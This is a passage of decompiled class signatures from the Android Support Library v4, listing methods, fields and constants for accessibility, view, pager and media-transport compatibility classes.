    public void setItemCount(Object, int);
    public void setMaxScrollX(Object, int);
    public void setMaxScrollY(Object, int);
    public void setParcelableData(Object, android.os.Parcelable);
    public void setPassword(Object, boolean);
    public void setRemovedCount(Object, int);
    public void setScrollX(Object, int);
    public void setScrollY(Object, int);
    public void setScrollable(Object, boolean);
    public void setSource(Object, android.view.View);
    public void setSource(Object, android.view.View, int);
    public void setToIndex(Object, int);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityNodeInfoCompat {
    private static final AccessibilityNodeInfoCompat$AccessibilityNodeInfoImpl IMPL;
    private final Object mInfo;
    public static final int ACTION_FOCUS = 1;
    public static final int ACTION_CLEAR_FOCUS = 2;
    public static final int ACTION_SELECT = 4;
    public static final int ACTION_CLEAR_SELECTION = 8;
    public static final int ACTION_CLICK = 16;
    public static final int ACTION_LONG_CLICK = 32;
    public static final int ACTION_ACCESSIBILITY_FOCUS = 64;
    public static final int ACTION_CLEAR_ACCESSIBILITY_FOCUS = 128;
    public static final int ACTION_NEXT_AT_MOVEMENT_GRANULARITY = 256;
    public static final int ACTION_PREVIOUS_AT_MOVEMENT_GRANULARITY = 512;
    public static final int ACTION_NEXT_HTML_ELEMENT = 1024;
    public static final int ACTION_PREVIOUS_HTML_ELEMENT = 2048;
    public static final int ACTION_SCROLL_FORWARD = 4096;
    public static final int ACTION_SCROLL_BACKWARD = 8192;
    public static final int ACTION_COPY = 16384;
    public static final int ACTION_PASTE = 32768;
    public static final int ACTION_CUT = 65536;
    public static final int ACTION_SET_SELECTION = 131072;
    public static final String ACTION_ARGUMENT_MOVEMENT_GRANULARITY_INT = ACTION_ARGUMENT_MOVEMENT_GRANULARITY_INT;
    public static final String ACTION_ARGUMENT_HTML_ELEMENT_STRING = ACTION_ARGUMENT_HTML_ELEMENT_STRING;
    public static final String ACTION_ARGUMENT_EXTEND_SELECTION_BOOLEAN = ACTION_ARGUMENT_EXTEND_SELECTION_BOOLEAN;
    public static final String ACTION_ARGUMENT_SELECTION_START_INT = ACTION_ARGUMENT_SELECTION_START_INT;
    public static final String ACTION_ARGUMENT_SELECTION_END_INT = ACTION_ARGUMENT_SELECTION_END_INT;
    public static final int FOCUS_INPUT = 1;
    public static final int FOCUS_ACCESSIBILITY = 2;
    public static final int MOVEMENT_GRANULARITY_CHARACTER = 1;
    public static final int MOVEMENT_GRANULARITY_WORD = 2;
    public static final int MOVEMENT_GRANULARITY_LINE = 4;
    public static final int MOVEMENT_GRANULARITY_PARAGRAPH = 8;
    public static final int MOVEMENT_GRANULARITY_PAGE = 16;
    static AccessibilityNodeInfoCompat wrapNonNullInstance(Object);
    public void AccessibilityNodeInfoCompat(Object);
    public Object getInfo();
    public static AccessibilityNodeInfoCompat obtain(android.view.View);
    public static AccessibilityNodeInfoCompat obtain(android.view.View, int);
    public static AccessibilityNodeInfoCompat obtain();
    public static AccessibilityNodeInfoCompat obtain(AccessibilityNodeInfoCompat);
    public void setSource(android.view.View);
    public void setSource(android.view.View, int);
    public AccessibilityNodeInfoCompat findFocus(int);
    public AccessibilityNodeInfoCompat focusSearch(int);
    public int getWindowId();
    public int getChildCount();
    public AccessibilityNodeInfoCompat getChild(int);
    public void addChild(android.view.View);
    public void addChild(android.view.View, int);
    public int getActions();
    public void addAction(int);
    public boolean performAction(int);
    public boolean performAction(int, android.os.Bundle);
    public void setMovementGranularities(int);
    public int getMovementGranularities();
    public java.util.List findAccessibilityNodeInfosByText(String);
    public AccessibilityNodeInfoCompat getParent();
    public void setParent(android.view.View);
    public void setParent(android.view.View, int);
    public void getBoundsInParent(android.graphics.Rect);
    public void setBoundsInParent(android.graphics.Rect);
    public void getBoundsInScreen(android.graphics.Rect);
    public void setBoundsInScreen(android.graphics.Rect);
    public boolean isCheckable();
    public void setCheckable(boolean);
    public boolean isChecked();
    public void setChecked(boolean);
    public boolean isFocusable();
    public void setFocusable(boolean);
    public boolean isFocused();
    public void setFocused(boolean);
    public boolean isVisibleToUser();
    public void setVisibleToUser(boolean);
    public boolean isAccessibilityFocused();
    public void setAccessibilityFocused(boolean);
    public boolean isSelected();
    public void setSelected(boolean);
    public boolean isClickable();
    public void setClickable(boolean);
    public boolean isLongClickable();
    public void setLongClickable(boolean);
    public boolean isEnabled();
    public void setEnabled(boolean);
    public boolean isPassword();
    public void setPassword(boolean);
    public boolean isScrollable();
    public void setScrollable(boolean);
    public CharSequence getPackageName();
    public void setPackageName(CharSequence);
    public CharSequence getClassName();
    public void setClassName(CharSequence);
    public CharSequence getText();
    public void setText(CharSequence);
    public CharSequence getContentDescription();
    public void setContentDescription(CharSequence);
    public void recycle();
    public void setViewIdResourceName(String);
    public String getViewIdResourceName();
    public int getLiveRegion();
    public void setLiveRegion(int);
    public int hashCode();
    public boolean equals(Object);
    public String toString();
    private static String getActionSymbolicName(int);
    static void <clinit>();
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompatKitKat$1.class


package android.support.v4.view.accessibility;
final synchronized class AccessibilityNodeProviderCompatKitKat$1 extends android.view.accessibility.AccessibilityNodeProvider {
    void AccessibilityNodeProviderCompatKitKat$1(AccessibilityNodeProviderCompatKitKat$AccessibilityNodeInfoBridge);
    public android.view.accessibility.AccessibilityNodeInfo createAccessibilityNodeInfo(int);
    public java.util.List findAccessibilityNodeInfosByText(String, int);
    public boolean performAction(int, int, android.os.Bundle);
    public android.view.accessibility.AccessibilityNodeInfo findFocus(int);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompatJellyBean.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompatJellyBean {
    void AccessibilityNodeInfoCompatJellyBean();
    public static void addChild(Object, android.view.View, int);
    public static void setSource(Object, android.view.View, int);
    public static boolean isVisibleToUser(Object);
    public static void setVisibleToUser(Object, boolean);
    public static boolean performAction(Object, int, android.os.Bundle);
    public static void setMovementGranularities(Object, int);
    public static int getMovementGranularities(Object);
    public static Object obtain(android.view.View, int);
    public static Object findFocus(Object, int);
    public static Object focusSearch(Object, int);
    public static void setParent(Object, android.view.View, int);
    public static boolean isAccessibilityFocused(Object);
    public static void setAccesibilityFocused(Object, boolean);
}










android/support/v4/view/ViewGroupCompat$ViewGroupCompatIcsImpl.class


package android.support.v4.view;
synchronized class ViewGroupCompat$ViewGroupCompatIcsImpl extends ViewGroupCompat$ViewGroupCompatHCImpl {
    void ViewGroupCompat$ViewGroupCompatIcsImpl();
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/ViewParentCompat$ViewParentCompatStubImpl.class


package android.support.v4.view;
synchronized class ViewParentCompat$ViewParentCompatStubImpl implements ViewParentCompat$ViewParentCompatImpl {
    void ViewParentCompat$ViewParentCompatStubImpl();
    public boolean requestSendAccessibilityEvent(android.view.ViewParent, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/ViewParentCompat$ViewParentCompatImpl.class


package android.support.v4.view;
abstract interface ViewParentCompat$ViewParentCompatImpl {
    public abstract boolean requestSendAccessibilityEvent(android.view.ViewParent, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/ViewGroupCompatIcs.class


package android.support.v4.view;
synchronized class ViewGroupCompatIcs {
    void ViewGroupCompatIcs();
    public static boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/ActionProvider.class


package android.support.v4.view;
public abstract synchronized class ActionProvider {
    private static final String TAG = ActionProvider(support);
    private final android.content.Context mContext;
    private ActionProvider$SubUiVisibilityListener mSubUiVisibilityListener;
    private ActionProvider$VisibilityListener mVisibilityListener;
    public void ActionProvider(android.content.Context);
    public android.content.Context getContext();
    public abstract android.view.View onCreateActionView();
    public android.view.View onCreateActionView(android.view.MenuItem);
    public boolean overridesItemVisibility();
    public boolean isVisible();
    public void refreshVisibility();
    public boolean onPerformDefaultAction();
    public boolean hasSubMenu();
    public void onPrepareSubMenu(android.view.SubMenu);
    public void subUiVisibilityChanged(boolean);
    public void setSubUiVisibilityListener(ActionProvider$SubUiVisibilityListener);
    public void setVisibilityListener(ActionProvider$VisibilityListener);
}










android/support/v4/view/ViewPager$LayoutParams.class


package android.support.v4.view;
public synchronized class ViewPager$LayoutParams extends android.view.ViewGroup$LayoutParams {
    public boolean isDecor;
    public int gravity;
    float widthFactor;
    boolean needsMeasure;
    int position;
    int childIndex;
    public void ViewPager$LayoutParams();
    public void ViewPager$LayoutParams(android.content.Context, android.util.AttributeSet);
}










android/support/v4/view/MenuItemCompat$MenuVersionImpl.class


package android.support.v4.view;
abstract interface MenuItemCompat$MenuVersionImpl {
    public abstract void setShowAsAction(android.view.MenuItem, int);
    public abstract android.view.MenuItem setActionView(android.view.MenuItem, android.view.View);
    public abstract android.view.MenuItem setActionView(android.view.MenuItem, int);
    public abstract android.view.View getActionView(android.view.MenuItem);
    public abstract boolean expandActionView(android.view.MenuItem);
    public abstract boolean collapseActionView(android.view.MenuItem);
    public abstract boolean isActionViewExpanded(android.view.MenuItem);
    public abstract android.view.MenuItem setOnActionExpandListener(android.view.MenuItem, MenuItemCompat$OnActionExpandListener);
}










android/support/v4/view/KeyEventCompatHoneycomb.class


package android.support.v4.view;
synchronized class KeyEventCompatHoneycomb {
    void KeyEventCompatHoneycomb();
    public static int normalizeMetaState(int);
    public static boolean metaStateHasModifiers(int, int);
    public static boolean metaStateHasNoModifiers(int);
}










android/support/v4/view/WindowCompat.class


package android.support.v4.view;
public synchronized class WindowCompat {
    public static final int FEATURE_ACTION_BAR = 8;
    public static final int FEATURE_ACTION_BAR_OVERLAY = 9;
    public static final int FEATURE_ACTION_MODE_OVERLAY = 10;
    public void WindowCompat();
}










android/support/v4/view/ViewCompatICS.class


package android.support.v4.view;
synchronized class ViewCompatICS {
    void ViewCompatICS();
    public static boolean canScrollHorizontally(android.view.View, int);
    public static boolean canScrollVertically(android.view.View, int);
    public static void setAccessibilityDelegate(android.view.View, Object);
    public static void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityNodeInfo(android.view.View, Object);
}










android/support/v4/view/VelocityTrackerCompatHoneycomb.class


package android.support.v4.view;
synchronized class VelocityTrackerCompatHoneycomb {
    void VelocityTrackerCompatHoneycomb();
    public static float getXVelocity(android.view.VelocityTracker, int);
    public static float getYVelocity(android.view.VelocityTracker, int);
}










android/support/v4/view/ViewCompat$GBViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$GBViewCompatImpl extends ViewCompat$EclairMr1ViewCompatImpl {
    void ViewCompat$GBViewCompatImpl();
    public int getOverScrollMode(android.view.View);
    public void setOverScrollMode(android.view.View, int);
}










android/support/v4/view/ActionProvider$SubUiVisibilityListener.class


package android.support.v4.view;
public abstract interface ActionProvider$SubUiVisibilityListener {
    public abstract void onSubUiVisibilityChanged(boolean);
}










android/support/v4/view/ViewGroupCompat.class


package android.support.v4.view;
public synchronized class ViewGroupCompat {
    public static final int LAYOUT_MODE_CLIP_BOUNDS = 0;
    public static final int LAYOUT_MODE_OPTICAL_BOUNDS = 1;
    static final ViewGroupCompat$ViewGroupCompatImpl IMPL;
    private void ViewGroupCompat();
    public static boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void setMotionEventSplittingEnabled(android.view.ViewGroup, boolean);
    public static int getLayoutMode(android.view.ViewGroup);
    public static void setLayoutMode(android.view.ViewGroup, int);
    static void <clinit>();
}










android/support/v4/view/PagerTabStrip.class


package android.support.v4.view;
public synchronized class PagerTabStrip extends PagerTitleStrip {
    private static final String TAG = PagerTabStrip;
    private static final int INDICATOR_HEIGHT = 3;
    private static final int MIN_PADDING_BOTTOM = 6;
    private static final int TAB_PADDING = 16;
    private static final int TAB_SPACING = 32;
    private static final int MIN_TEXT_SPACING = 64;
    private static final int FULL_UNDERLINE_HEIGHT = 1;
    private static final int MIN_STRIP_HEIGHT = 32;
    private int mIndicatorColor;
    private int mIndicatorHeight;
    private int mMinPaddingBottom;
    private int mMinTextSpacing;
    private int mMinStripHeight;
    private int mTabPadding;
    private final android.graphics.Paint mTabPaint;
    private final android.graphics.Rect mTempRect;
    private int mTabAlpha;
    private boolean mDrawFullUnderline;
    private boolean mDrawFullUnderlineSet;
    private int mFullUnderlineHeight;
    private boolean mIgnoreTap;
    private float mInitialMotionX;
    private float mInitialMotionY;
    private int mTouchSlop;
    public void PagerTabStrip(android.content.Context);
    public void PagerTabStrip(android.content.Context, android.util.AttributeSet);
    public void setTabIndicatorColor(int);
    public void setTabIndicatorColorResource(int);
    public int getTabIndicatorColor();
    public void setPadding(int, int, int, int);
    public void setTextSpacing(int);
    public void setBackgroundDrawable(android.graphics.drawable.Drawable);
    public void setBackgroundColor(int);
    public void setBackgroundResource(int);
    public void setDrawFullUnderline(boolean);
    public boolean getDrawFullUnderline();
    int getMinHeight();
    public boolean onTouchEvent(android.view.MotionEvent);
    protected void onDraw(android.graphics.Canvas);
    void updateTextPositions(int, float, boolean);
}










android/support/v4/view/ViewCompat$HCViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$HCViewCompatImpl extends ViewCompat$GBViewCompatImpl {
    void ViewCompat$HCViewCompatImpl();
    long getFrameTime();
    public float getAlpha(android.view.View);
    public void setLayerType(android.view.View, int, android.graphics.Paint);
    public int getLayerType(android.view.View);
    public void setLayerPaint(android.view.View, android.graphics.Paint);
    public int resolveSizeAndState(int, int, int);
    public int getMeasuredWidthAndState(android.view.View);
    public int getMeasuredHeightAndState(android.view.View);
    public int getMeasuredState(android.view.View);
}










android/support/v4/view/ViewCompatJB.class


package android.support.v4.view;
synchronized class ViewCompatJB {
    void ViewCompatJB();
    public static boolean hasTransientState(android.view.View);
    public static void setHasTransientState(android.view.View, boolean);
    public static void postInvalidateOnAnimation(android.view.View);
    public static void postInvalidateOnAnimation(android.view.View, int, int, int, int);
    public static void postOnAnimation(android.view.View, Runnable);
    public static void postOnAnimationDelayed(android.view.View, Runnable, long);
    public static int getImportantForAccessibility(android.view.View);
    public static void setImportantForAccessibility(android.view.View, int);
    public static boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    public static Object getAccessibilityNodeProvider(android.view.View);
    public static android.view.ViewParent getParentForAccessibility(android.view.View);
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl extends AccessibilityDelegateCompat$AccessibilityDelegateStubImpl {
    void AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl();
    public Object newAccessiblityDelegateDefaultImpl();
    public Object newAccessiblityDelegateBridge(AccessibilityDelegateCompat);
    public boolean dispatchPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(Object, android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public void onPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(Object, android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(Object, android.view.View, int);
    public void sendAccessibilityEventUnchecked(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/PagerTitleStrip.class


package android.support.v4.view;
public synchronized class PagerTitleStrip extends android.view.ViewGroup implements ViewPager$Decor {
    private static final String TAG = PagerTitleStrip;
    ViewPager mPager;
    android.widget.TextView mPrevText;
    android.widget.TextView mCurrText;
    android.widget.TextView mNextText;
    private int mLastKnownCurrentPage;
    private float mLastKnownPositionOffset;
    private int mScaledTextSpacing;
    private int mGravity;
    private boolean mUpdatingText;
    private boolean mUpdatingPositions;
    private final PagerTitleStrip$PageListener mPageListener;
    private ref.WeakReference mWatchingAdapter;
    private static final int[] ATTRS;
    private static final int[] TEXT_ATTRS;
    private static final float SIDE_ALPHA = 0.6;
    private static final int TEXT_SPACING = 16;
    private int mNonPrimaryAlpha;
    int mTextColor;
    private static final PagerTitleStrip$PagerTitleStripImpl IMPL;
    private static void setSingleLineAllCaps(android.widget.TextView);
    public void PagerTitleStrip(android.content.Context);
    public void PagerTitleStrip(android.content.Context, android.util.AttributeSet);
    public void setTextSpacing(int);
    public int getTextSpacing();
    public void setNonPrimaryAlpha(float);
    public void setTextColor(int);
    public void setTextSize(int, float);
    public void setGravity(int);
    protected void onAttachedToWindow();
    protected void onDetachedFromWindow();
    void updateText(int, PagerAdapter);
    public void requestLayout();
    void updateAdapter(PagerAdapter, PagerAdapter);
    void updateTextPositions(int, float, boolean);
    protected void onMeasure(int, int);
    protected void onLayout(boolean, int, int, int, int);
    int getMinHeight();
    static void <clinit>();
}










android/support/v4/view/MotionEventCompat$BaseMotionEventVersionImpl.class


package android.support.v4.view;
synchronized class MotionEventCompat$BaseMotionEventVersionImpl implements MotionEventCompat$MotionEventVersionImpl {
    void MotionEventCompat$BaseMotionEventVersionImpl();
    public int findPointerIndex(android.view.MotionEvent, int);
    public int getPointerId(android.view.MotionEvent, int);
    public float getX(android.view.MotionEvent, int);
    public float getY(android.view.MotionEvent, int);
    public int getPointerCount(android.view.MotionEvent);
}










android/support/v4/view/KeyEventCompat$EclairKeyEventVersionImpl.class


package android.support.v4.view;
synchronized class KeyEventCompat$EclairKeyEventVersionImpl extends KeyEventCompat$BaseKeyEventVersionImpl {
    void KeyEventCompat$EclairKeyEventVersionImpl();
    public void startTracking(android.view.KeyEvent);
    public boolean isTracking(android.view.KeyEvent);
    public Object getKeyDispatcherState(android.view.View);
    public boolean dispatch(android.view.KeyEvent, android.view.KeyEvent$Callback, Object, Object);
}










android/support/v4/view/ViewCompatHC.class


package android.support.v4.view;
synchronized class ViewCompatHC {
    void ViewCompatHC();
    static long getFrameTime();
    public static float getAlpha(android.view.View);
    public static void setLayerType(android.view.View, int, android.graphics.Paint);
    public static int getLayerType(android.view.View);
    public static int resolveSizeAndState(int, int, int);
    public static int getMeasuredWidthAndState(android.view.View);
    public static int getMeasuredHeightAndState(android.view.View);
    public static int getMeasuredState(android.view.View);
}










android/support/v4/view/ViewConfigurationCompat$BaseViewConfigurationVersionImpl.class


package android.support.v4.view;
synchronized class ViewConfigurationCompat$BaseViewConfigurationVersionImpl implements ViewConfigurationCompat$ViewConfigurationVersionImpl {
    void ViewConfigurationCompat$BaseViewConfigurationVersionImpl();
    public int getScaledPagingTouchSlop(android.view.ViewConfiguration);
}










android/support/v4/view/ViewGroupCompat$ViewGroupCompatImpl.class


package android.support.v4.view;
abstract interface ViewGroupCompat$ViewGroupCompatImpl {
    public abstract boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void setMotionEventSplittingEnabled(android.view.ViewGroup, boolean);
    public abstract int getLayoutMode(android.view.ViewGroup);
    public abstract void setLayoutMode(android.view.ViewGroup, int);
}










android/support/v4/view/AccessibilityDelegateCompatIcs$AccessibilityDelegateBridge.class


package android.support.v4.view;
public abstract interface AccessibilityDelegateCompatIcs$AccessibilityDelegateBridge {
    public abstract boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityNodeInfo(android.view.View, Object);
    public abstract void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void sendAccessibilityEvent(android.view.View, int);
    public abstract void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/MarginLayoutParamsCompat$MarginLayoutParamsCompatImplBase.class


package android.support.v4.view;
synchronized class MarginLayoutParamsCompat$MarginLayoutParamsCompatImplBase implements MarginLayoutParamsCompat$MarginLayoutParamsCompatImpl {
    void MarginLayoutParamsCompat$MarginLayoutParamsCompatImplBase();
    public int getMarginStart(android.view.ViewGroup$MarginLayoutParams);
    public int getMarginEnd(android.view.ViewGroup$MarginLayoutParams);
    public void setMarginStart(android.view.ViewGroup$MarginLayoutParams, int);
    public void setMarginEnd(android.view.ViewGroup$MarginLayoutParams, int);
    public boolean isMarginRelative(android.view.ViewGroup$MarginLayoutParams);
    public int getLayoutDirection(android.view.ViewGroup$MarginLayoutParams);
    public void setLayoutDirection(android.view.ViewGroup$MarginLayoutParams, int);
    public void resolveLayoutDirection(android.view.ViewGroup$MarginLayoutParams, int);
}










android/support/v4/view/PagerTabStrip$2.class


package android.support.v4.view;
synchronized class PagerTabStrip$2 implements android.view.View$OnClickListener {
    void PagerTabStrip$2(PagerTabStrip);
    public void onClick(android.view.View);
}










android/support/v4/view/MotionEventCompat$MotionEventVersionImpl.class


package android.support.v4.view;
abstract interface MotionEventCompat$MotionEventVersionImpl {
    public abstract int findPointerIndex(android.view.MotionEvent, int);
    public abstract int getPointerId(android.view.MotionEvent, int);
    public abstract float getX(android.view.MotionEvent, int);
    public abstract float getY(android.view.MotionEvent, int);
    public abstract int getPointerCount(android.view.MotionEvent);
}










android/support/v4/view/ViewParentCompat.class


package android.support.v4.view;
public synchronized class ViewParentCompat {
    static final ViewParentCompat$ViewParentCompatImpl IMPL;
    private void ViewParentCompat();
    public static boolean requestSendAccessibilityEvent(android.view.ViewParent, android.view.View, android.view.accessibility.AccessibilityEvent);
    static void <clinit>();
}










android/support/v4/view/GravityCompatJellybeanMr1.class


package android.support.v4.view;
synchronized class GravityCompatJellybeanMr1 {
    void GravityCompatJellybeanMr1();
    public static int getAbsoluteGravity(int, int);
    public static void apply(int, int, int, android.graphics.Rect, android.graphics.Rect, int);
    public static void apply(int, int, int, android.graphics.Rect, int, int, android.graphics.Rect, int);
    public static void applyDisplay(int, android.graphics.Rect, android.graphics.Rect, int);
}










android/support/v4/view/ScaleGestureDetectorCompat$BaseScaleGestureDetectorImpl.class


package android.support.v4.view;
synchronized class ScaleGestureDetectorCompat$BaseScaleGestureDetectorImpl implements ScaleGestureDetectorCompat$ScaleGestureDetectorImpl {
    private void ScaleGestureDetectorCompat$BaseScaleGestureDetectorImpl();
    public void setQuickScaleEnabled(Object, boolean);
    public boolean isQuickScaleEnabled(Object);
}










android/support/v4/view/MenuItemCompatIcs$SupportActionExpandProxy.class


package android.support.v4.view;
abstract interface MenuItemCompatIcs$SupportActionExpandProxy {
    public abstract boolean onMenuItemActionExpand(android.view.MenuItem);
    public abstract boolean onMenuItemActionCollapse(android.view.MenuItem);
}










android/support/v4/view/MenuItemCompatHoneycomb.class


package android.support.v4.view;
synchronized class MenuItemCompatHoneycomb {
    void MenuItemCompatHoneycomb();
    public static void setShowAsAction(android.view.MenuItem, int);
    public static android.view.MenuItem setActionView(android.view.MenuItem, android.view.View);
    public static android.view.MenuItem setActionView(android.view.MenuItem, int);
    public static android.view.View getActionView(android.view.MenuItem);
}










android/support/v4/view/ViewCompatKitKat.class


package android.support.v4.view;
public synchronized class ViewCompatKitKat {
    public void ViewCompatKitKat();
    public static int getAccessibilityLiveRegion(android.view.View);
    public static void setAccessibilityLiveRegion(android.view.View, int);
}










android/support/v4/view/ViewPager$1.class


package android.support.v4.view;
final synchronized class ViewPager$1 implements java.util.Comparator {
    void ViewPager$1();
    public int compare(ViewPager$ItemInfo, ViewPager$ItemInfo);
}










android/support/v4/view/ViewCompat$EclairMr1ViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$EclairMr1ViewCompatImpl extends ViewCompat$BaseViewCompatImpl {
    void ViewCompat$EclairMr1ViewCompatImpl();
    public boolean isOpaque(android.view.View);
}










android/support/v4/view/ViewParentCompat$ViewParentCompatICSImpl.class


package android.support.v4.view;
synchronized class ViewParentCompat$ViewParentCompatICSImpl extends ViewParentCompat$ViewParentCompatStubImpl {
    void ViewParentCompat$ViewParentCompatICSImpl();
    public boolean requestSendAccessibilityEvent(android.view.ViewParent, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/GravityCompat.class


package android.support.v4.view;
public synchronized class GravityCompat {
    static final GravityCompat$GravityCompatImpl IMPL;
    public static final int RELATIVE_LAYOUT_DIRECTION = 8388608;
    public static final int START = 8388611;
    public static final int END = 8388613;
    public static final int RELATIVE_HORIZONTAL_GRAVITY_MASK = 8388615;
    public void GravityCompat();
    public static void apply(int, int, int, android.graphics.Rect, android.graphics.Rect, int);
    public static void apply(int, int, int, android.graphics.Rect, int, int, android.graphics.Rect, int);
    public static void applyDisplay(int, android.graphics.Rect, android.graphics.Rect, int);
    public static int getAbsoluteGravity(int, int);
    static void <clinit>();
}










android/support/v4/view/ViewParentCompatICS.class


package android.support.v4.view;
public synchronized class ViewParentCompatICS {
    public void ViewParentCompatICS();
    public static boolean requestSendAccessibilityEvent(android.view.ViewParent, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/MarginLayoutParamsCompat$MarginLayoutParamsCompatImplJbMr1.class


package android.support.v4.view;
synchronized class MarginLayoutParamsCompat$MarginLayoutParamsCompatImplJbMr1 implements MarginLayoutParamsCompat$MarginLayoutParamsCompatImpl {
    void MarginLayoutParamsCompat$MarginLayoutParamsCompatImplJbMr1();
    public int getMarginStart(android.view.ViewGroup$MarginLayoutParams);
    public int getMarginEnd(android.view.ViewGroup$MarginLayoutParams);
    public void setMarginStart(android.view.ViewGroup$MarginLayoutParams, int);
    public void setMarginEnd(android.view.ViewGroup$MarginLayoutParams, int);
    public boolean isMarginRelative(android.view.ViewGroup$MarginLayoutParams);
    public int getLayoutDirection(android.view.ViewGroup$MarginLayoutParams);
    public void setLayoutDirection(android.view.ViewGroup$MarginLayoutParams, int);
    public void resolveLayoutDirection(android.view.ViewGroup$MarginLayoutParams, int);
}










android/support/v4/view/PagerTitleStrip$1.class


package android.support.v4.view;
synchronized class PagerTitleStrip$1 {
}










android/support/v4/media/TransportStateListener.class


package android.support.v4.media;
public synchronized class TransportStateListener {
    public void TransportStateListener();
    public void onPlayingChanged(TransportController);
    public void onTransportControlsChanged(TransportController);
}










android/support/v4/media/TransportMediatorJellybeanMR2$1.class


package android.support.v4.media;
synchronized class TransportMediatorJellybeanMR2$1 implements android.view.ViewTreeObserver$OnWindowAttachListener {
    void TransportMediatorJellybeanMR2$1(TransportMediatorJellybeanMR2);
    public void onWindowAttached();
    public void onWindowDetached();
}










android/support/v4/media/TransportController.class


package android.support.v4.media;
public abstract synchronized class TransportController {
    public void TransportController();
    public abstract void registerStateListener(TransportStateListener);
    public abstract void unregisterStateListener(TransportStateListener);
    public abstract void startPlaying();
    public abstract void pausePlaying();
    public abstract void stopPlaying();
    public abstract long getDuration();
    public abstract long getCurrentPosition();
    public abstract void seekTo(long);
    public abstract boolean isPlaying();
    public abstract int getBufferPercentage();
    public abstract int getTransportControlFlags();
}










android/support/v4/media/TransportMediatorJellybeanMR2.class


package android.support.v4.media;
synchronized class TransportMediatorJellybeanMR2 implements android.media.RemoteControlClient$OnGetPlaybackPositionListener, android.media.RemoteControlClient$OnPlaybackPositionUpdateListener {
    final android.content.Context mContext;
    final android.media.AudioManager mAudioManager;
    final android.view.View mTargetView;
    final TransportMediatorCallback mTransportCallback;
    final String mReceiverAction;
    final android.content.IntentFilter mReceiverFilter;
    final android.content.Intent mIntent;
    final android.view.ViewTreeObserver$OnWindowAttachListener mWindowAttachListener;
    final android.view.ViewTreeObserver$OnWindowFocusChangeListener mWindowFocusListener;
    final android.content.BroadcastReceiver mMediaButtonReceiver;
    android.media.AudioManager$OnAudioFocusChangeListener mAudioFocusChangeListener;
    android.app.PendingIntent mPendingIntent;
    android.media.RemoteControlClient mRemoteControl;
    boolean mFocused;
    int mPlayState;
    boolean mAudioFocused;
    public void TransportMediatorJellybeanMR2(android.content.Context, android.media.AudioManager, android.view.View, TransportMediatorCallback);
    public Object getRemoteControlClient();
    public void destroy();
    void windowAttached();
    void gainFocus();
    void takeAudioFocus();
    public void startPlaying();
    public long onGetPlaybackPosition();
    public void onPlaybackPositionUpdate(long);
    public void refreshState(boolean, long, int);
    public void pausePlaying();
    public void stopPlaying();
    void dropAudioFocus();
    void loseFocus();
    void windowDetached();
}










android/support/v4/media/TransportMediator$1.class


package android.support.v4.media;
synchronized class TransportMediator$1 implements TransportMediatorCallback {
    void TransportMediator$1(TransportMediator);
    public void handleKey(android.view.KeyEvent);
    public void handleAudioFocusChange(int);
    public long getPlaybackPosition();
    public void playbackPositionUpdate(long);
}










android/support/v4/media/TransportMediator.class


package android.support.v4.media;
public synchronized class TransportMediator extends TransportController {
    final android.content.Context mContext;
    final TransportPerformer mCallbacks;
    final android.media.AudioManager mAudioManager;
    final android.view.View mView;
    final Object mDispatcherState;
    final TransportMediatorJellybeanMR2 mController;
    final java.util.ArrayList mListeners;
    final TransportMediatorCallback mTransportKeyCallback;
    public static final int KEYCODE_MEDIA_PLAY = 126;
    public static final int KEYCODE_MEDIA_PAUSE = 127;
    public static final int KEYCODE_MEDIA_RECORD = 130;
    public static final int FLAG_KEY_MEDIA_PREVIOUS = 1;
    public static final int FLAG_KEY_MEDIA_REWIND = 2;
    public static final int FLAG_KEY_MEDIA_PLAY = 4;
    public static final int FLAG_KEY_MEDIA_PLAY_PAUSE = 8;
    public static final int FLAG_KEY_MEDIA_PAUSE = 16;
